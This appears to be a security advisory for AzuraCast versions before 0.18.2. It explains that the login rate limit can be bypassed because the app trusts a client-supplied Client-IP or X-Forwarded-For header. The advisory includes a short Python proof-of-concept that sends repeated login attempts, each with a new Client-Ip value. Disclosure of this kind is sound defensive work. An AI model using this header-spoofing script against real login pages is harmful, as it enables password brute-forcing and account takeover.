Brute Force Affecting azuracast/azuracast package, versions <0.18.2

Affected versions of this package are vulnerable to Brute Force such that the getIp() function first checks for a value inside non-default headers like Client-IP or X-Forwarded-For which can contain arbitrary contents. This allows an attacker to randomly generate a new value for any of these headers on each subsequent request to completely bypass the rate-limiting.

import requests

login_url = "http://localhost/login"
data = {"username":"root@localhost.local", "password": "xxx"}

for i in range(0,100):
    print(i)
    r = requests.post(login_url, data=data)
    if "You have attempted" in r.text:
        print(f"hit rate limiting after {i} tries")
        break

# now try with a randomized CLIENT_IP header

for i in range(0,100):
    print(i)
    headers = {"Client-Ip" : str(i)}
    print(headers)
    r = requests.post(login_url, data=data, headers=headers)
    if "You have attempted" in r.text:
                print(f"hit rate limiting after {i} tries")
                exit()

• GitHub Commit